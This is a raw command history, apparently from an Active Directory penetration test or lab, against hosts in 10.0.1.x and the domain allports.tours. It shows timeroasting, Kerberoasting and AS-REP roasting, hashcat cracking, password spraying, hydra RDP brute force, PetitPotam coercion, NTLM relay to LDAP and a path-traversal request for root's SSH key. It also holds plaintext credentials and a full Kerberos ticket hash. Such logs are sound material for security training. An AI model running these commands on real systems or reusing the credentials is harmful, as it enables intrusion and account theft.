sudo ./pimpmykali.sh
cd ../Timeroast
ls
python3 timeroast.py 10.0.1.6
cd extra-scripts
python3 timecrack.py computer_hashes.txt /usr/share/wordlists/rockyou.txt
cat ~/password.txt
sudo tar xvf /usr/share/wordlists/SecLists/Passwords/Leaked-Databases/rockyou.txt.tar.gz
python3 timecrack.py computer_hashes.txt /usr/share/wordlists/SecLists/Passwords/Leaked-Databases/rockyou.txt
sudo tar xvzf /usr/share/wordlists/SecLists/Passwords/Leaked-Databases/rockyou.txt.tar.gz
python3 timecrack.py computer_hashes.txt /usr/share/wordlists/SecLists/Passwords/Leaked-Databases/rockyou-75.txt
sudo gunzip /usr/share/wordlists/SecLists/Passwords/Leaked-Databases/rockyou.txt.tar.gz
tar -xzvf /usr/share/wordlists/SecLists/Passwords/Leaked-Databases/rockyou.txt.tar.gz
sudo tar -xzvf /usr/share/wordlists/SecLists/Passwords/Leaked-Databases/rockyou.txt.tar.gz
cat computer_hashes.txt
sudo apt install bloodhound
bloodhound
python3 timecrack.py computer_hashes.txt /usr/share/wordlists/SecLists/Passwords/Leaked-Databases/rockyou-05.txt
python3 timecrack.py computer_hashes.txt /usr/share/wordlists/SecLists/Passwords/Leaked-Databases/rockyou-10.txt
python3 timecrack.py computer_hashes.txt /usr/share/wordlists/SecLists/Passwords/Leaked-Databases/rockyou-15.txt
python3 timecrack.py computer_hashes.txt /usr/share/wordlists/SecLists/Passwords/Leaked-Databases/rockyou-20.txt
python3 timecrack.py computer_hashes.txt /usr/share/wordlists/SecLists/Passwords/Leaked-Databases/rockyou-25.txt
python3 timecrack.py computer_hashes.txt /usr/share/wordlists/SecLists/Passwords/Leaked-Databases/rockyou-30.txt
python3 timecrack.py computer_hashes.txt /usr/share/wordlists/SecLists/Passwords/Leaked-Databases/rockyou-35.txt
python3 timecrack.py computer_hashes.txt /usr/share/wordlists/SecLists/Passwords/Leaked-Databases/rockyou-40.txt
python3 timecrack.py computer_hashes.txt /usr/share/wordlists/SecLists/Passwords/Leaked-Databases/rockyou-45.txt
python3 timecrack.py computer_hashes.txt /usr/share/wordlists/SecLists/Passwords/Leaked-Databases/rockyou-50.txt
python3 timecrack.py computer_hashes.txt /usr/share/wordlists/SecLists/Passwords/Leaked-Databases/rockyou-55.txt
python3 timecrack.py computer_hashes.txt /usr/share/wordlists/SecLists/Passwords/Leaked-Databases/rockyou-60.txt
python3 timecrack.py computer_hashes.txt /usr/share/wordlists/SecLists/Passwords/Leaked-Databases/rockyou-65.txt
python3 timecrack.py computer_hashes.txt /usr/share/wordlists/SecLists/Passwords/Leaked-Databases/rockyou-70.txt
python3 timecrack.py computer_hashes.txt /usr/share/wordlists/SecLists/Passwords/Leaked-Databases/rockyou-75.txt
ls
python3 timecrack.py computer_hashes.txt /usr/share/wordlists/SecLists/Passwords/Leaked-Databases/fortinet-2021_passwords
python3 timecrack.py computer_hashes.txt /usr/share/wordlists/SecLists/Passwords/Leaked-Databases/fortinet-2021_passwords.txt
cat ~/password.txt
evil-winrm -i 10.0.1.6 -u 'Guest' -p ''
nmap -p 389 10.0.1.6 --script 'ldap and not brute"
nmap -p 389 10.0.1.6 --script 'ldap and not brute'
ldapdomaindump -h
ldapdomaindump 10.0.1.6
ls
cat domain_users.json
cat domain_policy.json
cat domain_groups.json
cat domain_computers.json
rm domain_*
ls
nmap -p445 --script smb-vuln-* -iL ../../windows.txt
crackmapexec smb ../../windows.txt -u 'Guest' -p ''
crackmapexec -h
crackmapexec ldap -h
rpcclient -U Guest -p '' 10.0.1.6
rpcclient -U Guest -p '' 10.0.1.20
rpcclient -U Guest -p '' 10.0.1.21
git clone https://github.com/lefayjey/linWinPwn.git
ls
cd linWinPwn
ls
chmod +x linWinPwn
chmod +x linWinPwn.h
chmod +x linWinPwn.sh
chmod +x install.sh
./install.sh
./linWinPwn.sh 10.0.1.6
./linWinPwn.sh -t 10.0.1.6 -o ./
sudo ./linWinPwn.sh -t 10.0.1.6 -o ./
cat /etc/krb5.conf
impacket-getTGT -h
impacket-getTGT allports.tours/Guest:'' -dc-ip 10.0.1.6
sudo ./linWinPwn.sh -t 10.0.1.6 -o ./
ls
./linWinPwn.sh -t 10.0.1.6 -H '1002:$sntp-ms$00253cd68153a6be62180909c6f3c7d3$1c0311e90000055d00000894616b8817ecb0c920b4da2651e1b8428bffbfcd0aecb0ca912913638aecb0ca9129138bcd' -o ./ --auto
./linWinPwn.sh -t 10.0.1.6 -u Guest -p '' -o ./ --auto
./linWinPwn.sh -h
./linWinPwn.sh -t 10.0.1.6 -u Guest -o ./ --auto
./linWinPwn.sh -t 10.0.1.6 -o ./ --auto
sudo ./linWinPwn.sh -t 10.0.1.6 -u Guest -o ./ --auto
ls
cd ../../..
ls
cd pimpmykali
ffuf -u http://10.0.1.11/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt
ffuf -u http://10.0.1.11/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt -fl 89
sudo apt install dirsearch
dirsearch -u 10.0.1.11
ffuf -u http://10.0.1.11 -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -H "Host: FUZZ.10.0.1.11"
ffuf -u http://10.0.1.11 -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -H "Host: FUZZ.10.0.1.11" -fl 89
dirsearch -u 10.0.1.11/api
cd ../Timeroast/extra-scripts
python3 timecrack.py computer_hashes.txt /usr/share/wordlists/SecLists/Passwords/Common-Credentials/Pwdb_top-10000000.txt
ls
hashcat -m 31300 computer_hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 31300
hashcat -m 31300 computer_hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 0 'asdfsdfdsafsafsadfaff' /usr/share/wordlists/rockyou.txt
hashcat -m 31300 computer_hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -h | grep SNTP
hashcat -h | grep "MS SNTP"
hashcat -h | grep 'MS SNTP'
cd ../..
ls
cd username-anarchy
ls
vim names.txt
vim users.txt
impacket-GetNPUsers -dc-ip 10.0.1.6 -usersfile users.txt -request allports.local/
crackmapexec smb ../windows.txt -u 'asdf' -p '' --rid-brute
crackmapexec smb ../windows.txt -u 'asdf' -p '' -h
cd ..
git clone https://github.com/topotam/PetitPotam.git
cd PetitPotam
ls
ls PetitPotam
python3 PetitPotam.py -h
python3 PetitPotam.py 10.0.254.201 10.0.1.6 -d allports.tours
python3 PetitPotam.py -h
python3 PetitPotam.py -d allports.tours -dc-ip 10.0.1.6 -target-ip 10.0.1.6 10.0.254.201
python3 PetitPotam.py -d allports.tours -dc-ip 10.0.1.6 -target-ip 10.0.1.6 10.0.1.6 10.0.254.201
cat ../../password.txt
python3 PetitPotam.py -d allports.tours -dc-ip 10.0.1.6 -target-ip 10.0.1.6 10.0.1.6 10.0.254.201
cat /etc/hosts
python3 PetitPotam.py -d allports.tours -dc-ip 10.0.1.6 -target-ip 10.0.1.6 10.0.1.6 10.0.254.201
python3 PetitPotam.py -u Guest -p '' -d allports.tours -dc-ip 10.0.1.6 -target-ip 10.0.1.6 10.0.1.6 10.0.254.201
python3 PetitPotam.py -d allports.tours -dc-ip 10.0.1.6 -target-ip 10.0.1.6 10.0.1.6 10.0.254.201
python3 PetitPotam.py 10.0.254.201 10.0.1.6
python3 PetitPotam.py -u 'Guest' -p '' 10.0.254.201 10.0.1.6
python3 PetitPotam.py -u 'Guest' 10.0.254.201 10.0.1.6 --no-pass
python3 PetitPotam.py -u 'Guest' 10.0.254.201 10.0.1.6 -no-pass
python3 PetitPotam.py -u 'Guest' 10.0.254.201 10.0.1.6
python3 PetitPotam.py 10.0.254.201 10.0.1.6
sudo apt upgrade
sudo apt update
sudo apt get upgrade
sudo apt-get upgrade
cd ../..
cd Downloads
cd pimpmykali
sudo ./pimpmykali.sh
hashcat -h | grep 'MS SNTP'
cd ../..
ls
cd thinclient_drives
ls
cd ..
ls
impacket-GetNPUsers -dc-ip 10.0.1.6 -usersfile Documents/username-anarchy/users.txt -request allports.local/
impacket-GetNPUsers -dc-ip 10.0.1.6 -usersfile Downloads/username-anarchy/users.txt -request allports.local/
ls
cd Documents
ls
cd ../Downloads
ls
crackmapexec smb windows.txt -u 'jward' -p 'jward' -h
crackmapexec smb windows.txt -u 'jward' -p 'jward'
rpcclient -U jward 10.0.1.6
rpcclient -U jward 10.0.1.20
impacket-getTGT allports.tours/jward:'jward' -dc-ip 10.0.1.6
xfreerdp3 /v:10.0.1.20 /u:jward /p:jward
xfreerdp3 /v:10.0.1.21 /u:jward /p:jward
ldapdomaindump 10.0.1.20
ldapdomaindump 10.0.1.21
dirsearch -u chat.allports.tours
dirsearch -u https://chat.allports.tours
impacket-GetNPUsers -dc-ip 10.0.1.6 -usersfile /root/linWinPwn_allports.local/Users/users_list_allports.local.txt -request allports.local/
sudo impacket-GetNPUsers -dc-ip 10.0.1.6 -usersfile /root/linWinPwn_allports.local/Users/users_list_allports.local.txt -request allports.local/
crackmapexec smb windows.txt -u /root/linWinPwn_allports.local/Users/users_list_allports.local.txt -p /root/linWinPwn_allports.local/Users/users_list_allports.local.txt --no-brute
sudo crackmapexec smb windows.txt -u /root/linWinPwn_allports.local/Users/users_list_allports.local.txt -p /root/linWinPwn_allports.local/Users/users_list_allports.local.txt --no-brute
wc /root/linWinPwn_allports.local/Users/users_list_allports.local.txt
sudo wc /root/linWinPwn_allports.local/Users/users_list_allports.local.txt
sudo crackmapexec smb windows.txt -u /root/linWinPwn_allports.local/Users/users_list_allports.local.txt -p '' --no-brute
sudo crackmapexec smb windows.txt -u /root/linWinPwn_allports.local/Users/users_list_allports.local.txt -p 'AllPortsTours2025!' --no-brute
crackmapexec smb 10.0.1.20 -u Guest -p '' --pass-pol
crackmapexec smb 10.0.1.21 -u Guest -p '' --pass-pol
crackmapexec smb 10.0.1.6 -u Guest -p '' --pass-pol
impacket-GetNPUsers -dc-ip 10.0.1.6 -u 'ggonzalez1' -request allports.local/
ls
cd username-anarchy
ls
cat usernames.txt
cat users.txt
echo 'ggonzalez1' >> users.txt
impacket-GetNPUsers -dc-ip 10.0.1.6 -usersfile users.txt -request allports.local/
echo 'osanders' >> users.txt
impacket-GetNPUsers -dc-ip 10.0.1.6 -usersfile users.txt -request allports.local/
crackmapexec smb 10.0.1.6 -u rdavis -p 'mypassword' --pass-pol
crackmapexec smb ../../Downloads/windows.txt -u rdavis -p 'rosdav50' --pass-pol
xfreerdp3 /v:10.0.1.6 /u:rdavis /p:rosdav50
crackmapexec smb 10.0.1.6 -u rdavis -p 'rosdav50'
crackmapexec smb 10.0.1.6 -u rdavis -p 'rosdav50' --shares
impacket-GetUserSPNs -h
impacket-GetUserSPNs 10.0.1.6 -target-domain allports.local allports.local/rdavis:'rosdav50' -request
impacket-GetUserSPNs -h
impacket-GetUserSPNs allports.local/rdavis:rosdav50 -request
echo '$krb5tgs$23$*SVC_STABILIZE$ALLPORTS.LOCAL$allports.local/SVC_STABILIZE*$409501d8b61b79c8f110fde31896f9a3$7849e34d2c2654ed0e4754bd15626ba651037e84dd6db7b3e13f869dde89b81a41b82d160a7e45d96d13bd121a2109527851c23b85e30cd77f187a77f55620a871d5978d9790d5f05fdf3dd1d3b6a05d47d358df0f8f0f2cfb7468c1e65c08694f8d8803d539ef14cbb18d86c43c182409d52c7e1cc07478b3536d01816f9fa92ad2928847594c1c0eddc0e01de81b92b683c0ac0994c7f33816941d44bc77ffa6bf2bb510f9ae2dbbb24758f9a1009acc69d3ce071c6e9d39ebac67c258bcb8fb132aee012e4d208449114891afbf46f2df47c732ec0f8daa14c2d0c8ffa23f4e01013a0f1dc98adf827c772a8f1220fbd158ac86afc78bcff73fc962ef81c0c54f3e404638dabc19bd0d6b8bbf5f83cb4a46b74ac531526b75ef7af4756953b6dfc00bab301534f272678a7bdbc3a143822e536c22cd652054601ea87a934904f559a822d0004a792562c7b5dba228cbd0e408b731011bf7d35af67f5f9acfc14632206ac5d8cd59f59bc40c5618874098c63cbf01d57f3a59ce418ed9449c89942265893f0cf8b99da14557c0743e314691af3cb3c1229b78216b14e4fe03bd522beffe477a61f3021ed04ebb3aa7490adb2cd0b99615fad2d782b6cb008e32e71f755222914f44a97afdfa852f60354443fb87cc1e10ee02f6d2edaea826b4271759157c04925d445b37600fabbc071558fdc23c78abbedc6693dc4c81ee4ef8422c3cd87ce6d7b4e5fcacbcee1dbdb9dc804a369de42aac889b67b0bef73acbe0b1b7835d6f246cf70574b2392735c7010a34a0392a958f5a4a4424b308c12c506a079ae9a8eb77eba2e5d11ff02170112fd2e06dc1ebb38b6f0a96b2c9c0e741db49ad9b0c82ba990da4ac97e31edf505f722e62e5d0a30f251717df41f6d5c998c56b817a9ab18c3b06266f7e0b3ffc9a53f93cee73d8b7e50b9416b13bb2115fb697dbaec1c342e9c562b98805e6e99f0d085869962700f8983a988b21194f714ac1b0c951a6cacc60cb976ce6d7c3b0c2726eaee99dba0d9e01d1f207121991c629ee92cfcd4793c2c81380cae526e3e8c70f8c9744cc5ccd1b199141566d3ba1e8adb3e1db15e7425c8421ba42c414983d18b021d3e2ada18374d5ae43ad8c1855ba56eb6e2a5b15f6defb5f1c10ff3fed83a3a23f67d14023a5d62f00aa7e0eb1117e150b789cc7066ce230b3968fefbce1e56fd961706bc0aaa7a08d464e86b405f051713d22b6d76ddf151d2d6ba1a7e26180d83bb977fad2f4f304ed35b326946ab0d2cfe3ba43aab5b4ce45b5af0ce4cfe36d326ce09ae8fd751004fdbfba7e43ee1298c08d758184599f658f430c3f02ea5000b5e086e45a88d717ead792cec92b3f650bbe8c021bb318f36e3d7c54fa349ca6d53d087dc7795e9347367c2947c1e6c6c058' > ../svc_hash.txt
cd ..
hashcat -m 13100 svc_hash.txt /usr/share/wordlists/rockyou.txt
crackmapexec smb windows.txt -u 'svc_stabilize' -p '1gyroscope'
crackmapexec smb 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope' --shares
evil-winrm -i 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope'
echo 'gyroscope' >> username-anarchy/users.txt
impacket-GetNPUsers -dc-ip 10.0.1.6 -usersfile username-anarchy/users.txt -request allports.local/
cd ../
ls
cd Downloads/PetitPotam
ls
python3 PetitPotam.py 10.0.254.201 10.0.1.6 -u 'rdavis' -p 'rosdav50'
xfreerdp3 /v:10.0.1.20 /u:svc_stabilize /p:gyroscope1
xfreerdp3 /v:10.0.1.21 /u:svc_stabilize /p:gyroscope1
xfreerdp3 /v:10.0.1.6 /u:svc_stabilize /p:gyroscope1
xfreerdp3 /v:10.0.1.6 /u:rdavis /p:rosdav50
xfreerdp3 /v:10.0.1.20 /u:rdavis /p:rosdav50
xfreerdp3 /v:10.0.1.21 /u:rdavis /p:rosdav50
certipy find -h
certipy find -dc-ip 10.0.1.6 allports.local/rdavis:rosdav50 -stdout
certipy find -dc-ip 10.0.1.6 allports.local/rdavis:rosdav50 -target-ip 10.0.1.6


_raw: : 1762044566:0;find .  | grep kerberoast


_raw:
gobuster -h dir
gobuster dir --url chat.allports.tour
gobuster dir chat.allports.tour
gobuster dir --url chat.allports.tour --wordlist /usr/share/seclists/common.txt
ls /usr/share/seclists
ls /usr
ls /usr/share
pwd
git clone --depth 1 https://github.com/danielmiessler/SecLists.git
ls /usr/share/wordlists/dirbuster/
ls /usr/share/wordlists/dirb
gobuster dir --url chat.allports.tour --wordlist /usr/share/wordlists/dirb/big.txt
gobuster dir --url chat.allports.tours --wordlist /usr/share/wordlists/dirb/big.txt
ping 10.0.1.254
telnet
telnet 10.0.1.254 9697
curl chat.allports.tours


_raw:
cd Desktop/
clear
ls
cat 14-vv.txt
rm 14-vv.txt
nmap 10.0.1.14 -p- > 14.txt
nmap 10.0.1.14 -O
traceroute 10.0.1.14
traceroute -h
traceroute --help
traceroute 10.0.1.14 -n
nmap -p 5001 10.0.1.14 -sC -sV
clear
nmap -p 135 --script=msrpc-dcom-interface-activation 10.0.1.20\
nmap -p- --script=msrpc-enum 10.0.1.20\
clear
nmap -p- -sC  10.0.1.15
nmap -p- -sC -sV -O  10.0.1.15 -vv > 15.txt
cat 15
rm 15-vv.txt
cat 15.txt
clear
ssh 10.0.1.15 -l admin
ssh -l admin 10.0.1.14
ssh -l admin 10.0.1.11
ssh -l admin 10.0.1.6
ssh -l admin 10.0.1.30
ssh -l admin 10.0.1.99
clear
cat 15.txt


_raw:
nmap --script rdp-enum-encryption 10.0.1.20 -p 3389
nmap --script rdp-vuln-ms12-020 10.0.1.20 -p 3389
nmap 10.0.1.20 -p 3389 --script rdp-ntlm-info
nmap 10.0.1.20 -p 3389 --script rdpenum-certs
nmap 10.0.1.20 -p 3389 --script rdp-ntlm-infoclear
clear
nmap 10.0.1.20 -p 3389 --script rdp-enum-certs
nmap -O 10.0.1.20
nmap 10.0.1.20 --script msrpc-enum
clear
nmap 10.0.1.20 --script msrpc-enum
nmap 10.0.1.20 --script msrpc-enum -p 135
clear
nc -vn 10.0.1.20 135
clear
impacket-rpcdump 10.0.1.20
cd ~/Desktop
impacket-rpcdump 10.0.1.20 > 20-rpcdump.txt
cat 20-rpcdump.txt
clear
impacket-rpcdump 10.0.1.21 > 21-rpcdump.txt
cat 20-rpcdump.txt | grep user
cat 20-rpcdump.txt | grep us
cat 20-rpcdump.txt
clear
impacket-secretsdump -h
impacket-secretsdump 10.0.1.20
impacket-secretsdump 10.0.1.21
impacket-secretsdump 10.0.1.21 -no-pass
clear
impacket-samrdump 10.0.1.21
impacket-samrdump -h
impacket-netview 10.0.1.21
impacket-netview 10.0.1.21 -no-pass
clear
rpcinfo -p 10.0.1.21
history
nmap 10.0.1.20 -p 3389 --script rdp-ntlm-info
clear
nmap -O 10.0.1.30
ssh
ssh 10.0.1.30
ssh 10.0.1.30 -l admin
ssh -h
ssh 10.0.1.30 -l admin
ssh 10.0.1.30 -l admi
clear
history
nmap -O 10.0.1.30
nmap -O 10.0.1.30 > 30-O_nmap.txt
ssh 10.0.1.30 -l admin
nmap -O 10.0.1.30
cat 30-O_nmap.txt
nmap -sV 10.0.1.30
clear
nmap 10.0.1.30 --script ssh-auth-methods > 30-ssh-auth-methods
cat 30-ssh-auth-methods
nmap 10.0.1.30 --script ssh2-enum-algos >> 30-ssh-auth-methods
cat 30-ssh-auth-methods
clear
ssh 10.0.1.30 -l Administrator
ssh 10.0.1.30 -l rdavid
ssh 10.0.1.30 -l rdavis
clear
ssh 10.0.1.30 -l rdavi
ssh 10.0.1.30 -l rdavis
clear
ssh 10.0.1.30 -l anything
ssh 10.0.1.30 -l rdavis
ssh 10.0.1.30 -l admin-ssh
clear
ssh 10.0.1.30 -l admin-ssh
clear
cat 30-ssh-auth-methods
ssh-keyscan 10.0.1.30
clear
nmap -vv -p- 10.0.1.30 > 30-nmap-vv.txt
cat 30-nmap-vv.txt
clear
ip a
curl http://10.0.1.30:8080
curl http://10.0.1.30:8096/public
curl http://10.0.1.30:8096/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
curl http://10.0.1.30:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
clear
cat 30-nmap-vv.txt
curl http://10.0.1.30:8096/health -i
curl -i http://10.0.1.30:8096/Auth/Keys
curl -i http://10.0.1.30:8096/Auth/Keys -H "Authorization: MediaBrowser Token=\"test\""
clear
nmap -O 10.0.1.99
curl -i 10.0.1.15:8090
nmap -vv -p- 10.0.1.15 > 15-vv.txt
cat `15-vv.txt
clear
cat 15-vv.txt
nmap 10.0.1.99
ssh 10.0.1.99
history | grep ssh
nmap 10.0.1.99 --script ssh-auth-methods
nmap 10.0.1.99 --script ssh2-enum-algos
ssh 10.0.1.20
clear
nmap -vv -p- 10.0.1.14 > 14-vv.txt
nmap -p- 10.0.1.14 > 14-vv.txt
nmap -p- 10.0.1.14
nmap -p 22 10.0.1.14
ssh 10.0.1.14
ssh 10.0.1.14 -l Administrator
ssh 10.0.1.14 -l rdavis
ssh 10.0.1.14 -l admin
clear
nmap -O 10.0.1.14
clear
nmap --script vuln 10.0.1.14 -p 5001
nmap --script vulners 10.0.1.14 -p 5001
nmap --script vulners 10.0.1.14 -p 22
nmap -sV --script vulners 10.0.1.14 -p 22
clear
nmap 10.0.1.15
nmap 10.0.1.0/24
clear
history | grep nmap
nmap -p 22 10.0.1.22
nmap -Pn -p 22 10.0.1.22
ssh 10.0.1.10
ssh 10.0.1.10 -l Administrator
ssh 10.0.1.10 -l admin
clear
ssh 10.0.1.10 -l Administrator
ssh 10.0.1.10 -l rdavis
clear
history | grep ssh
ls
cat 30-nmap-vv.txt
ssh 10.0.1.10 -l bfinn
clear
nmap -vv -p- -sC -sV -O chat.allports.tours > chatnmap.txt
nmap -vv -p- -sC -sV -O --reserve-all chat.allports.tours > chatnmap.txt
nmap -vv -p- -sC -sV -O --resolve-all chat.allports.tours > chatnmap.txt
ping chat.allports.tours
clear
history | grep 14
cat 14-vv.txt
nmap -sV 10.0.1.14
nmap 10.0.1.14
ssh 10.0.1.14 -l bfinn
clear
cat 14-vv.txt
dirbuster


_raw: : 1762044393:0;nxc smb 10.0.1.6 -u rdavis -p rosdav50 -M coerce_plus -o L=10.0.254.204 M=Petitpotam


_raw: : 1762044388:0;impacket-ntlmrelayx -t ldap://10.0.1.6 --delegate-access -smb2support --remove-mic


_raw:
linWinPwn -t 10.0.1.6 -o ./
linWinPwn -t 10.0.1.20 -o ./
linWinPwn -t 10.0.1.21 -o ./
uname -a
ls
sudo nmap -sU 10.0.1.14
sudo vim /etc/hosts
su


_raw:
ssh adiaz11@10.0.1.11
ssh adiaz11@10.0.1.10
ssh aphillips@10.0.1.10
ssh rdavis@10.0.1.10
ssh rdavis@10.0.1.14
ssh aphillips@10.0.1.14
ssh adiaz11@10.0.1.14
ssh rdavis@10.0.1.15
ssh adiaz11@10.0.1.15
ssh aphillips@10.0.1.15
ssh rdavis@10.0.1.30
ssh adiaz11@10.0.1.30
ssh aphillips@10.0.1.30
ssh rdavis@10.0.1.99
ssh adiaz11@10.0.1.99
ssh aphillips@10.0.1.99
gobuster dir -u https://10.0.1.99 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 16
ffuf -u http://10.0.1.99 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
ffuf -u https://10.0.1.99 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
ffuf -u http://10.0.1.99/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
ffuf -u http://10.0.1.99/whoami/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
ffuf -u http://10.0.1.15FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
ffuf -u http://10.0.1.15/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
ffuf -u http://10.0.1.15:8090/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt


_raw: : 1762044345:0;nxc smb 10.0.1.6 -u rdavis -p rosdav50 -M coerce_plus -o L=10.0.254.204 ALWAYS=TRUE


_raw:
clear
nmap -sV 10.0.1.20 --script=smb*
nmap -sV 10.0.1.21 --script=smb*
enum4linux 10.0.1.20
remmina
hydra -l administrator -P /usr/share/wordlists/rockyou.txt rdp://10.0.1.20 -t 15 -V -f
clear
enum4linux 10.0.1.20
hydra -l root -P /usr/share/wordlists/rockyou.txt rdp://10.0.1.20 -t 15 -V -f
rpcclient -U root http://10.0.1.20
rpccleint
rpcclient


_raw:
sudo apt get xfreerdp
sudo apt-get install xfreerdp
sudo apt install remmina
remmina
cd /usr/share/wordlists/metasploit
ls
cat unix_passwords.txt
cat unix_users.txt
cat unix_users.txt | less
clear
cd ..
cd
ls
cat password.txt
rm hydra.restore
ls
clear
nc 10.0.1.21 5985
nc 10.0.1.21 5986
nc 10.0.1.21 47001
searchsploit smb-relay
msfconsole
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.0.1.21
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.0.1.21:5985
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.0.1.21:5986
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.0.1.20:5985
nmap 10.0.1.15 --script=vuln -sV
remmina
dirb http://10.0.1.11
gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirb/common.txt -e
dirb http://10.0.1.11 /usr/share/wordlists/dirb/common.txt
dirb http://10.0.1.11 /usr/share/wordlists/dirb/big.txt
dirb http://10.0.1.11 /usr/share/wordlists/dirb/extensions_common.txt
dirb http://10.0.1.11 /usr/share/wordlists/dirb/stress/unicode.txt
nmap -A -sV 10.0.1.20
nmap -A -sV 10.0.1.21
ls
cat 5985


_raw:
history
nmap -sV -sC -T3 -p- 10.0.1.21 -Pn
searchsploit CVE-2021-31166
msfconsole
clear
nmap -sV -sC -T3 -p- -Pn 10.0.1.20
smbclient -L //10.0.1.21 -U guest
smbclient -L //10.0.1.21 -U anonymous
nmap -o 5985 --script http-winrm-enum 10.0.1.21
nmap -p 5985 --script http-winrm-enum 10.0.1.21
nmap -p 5985 --script=http-winrm-enum 10.0.1.21
sudo apt-get install winrm
sudo apt-get install evil-winrm
winrm
sudo apt-get install ruby-winrm
searchsploit CVE-2015-0014
msfconsole
nmap -sU 10.0.1.20
remmina
remmina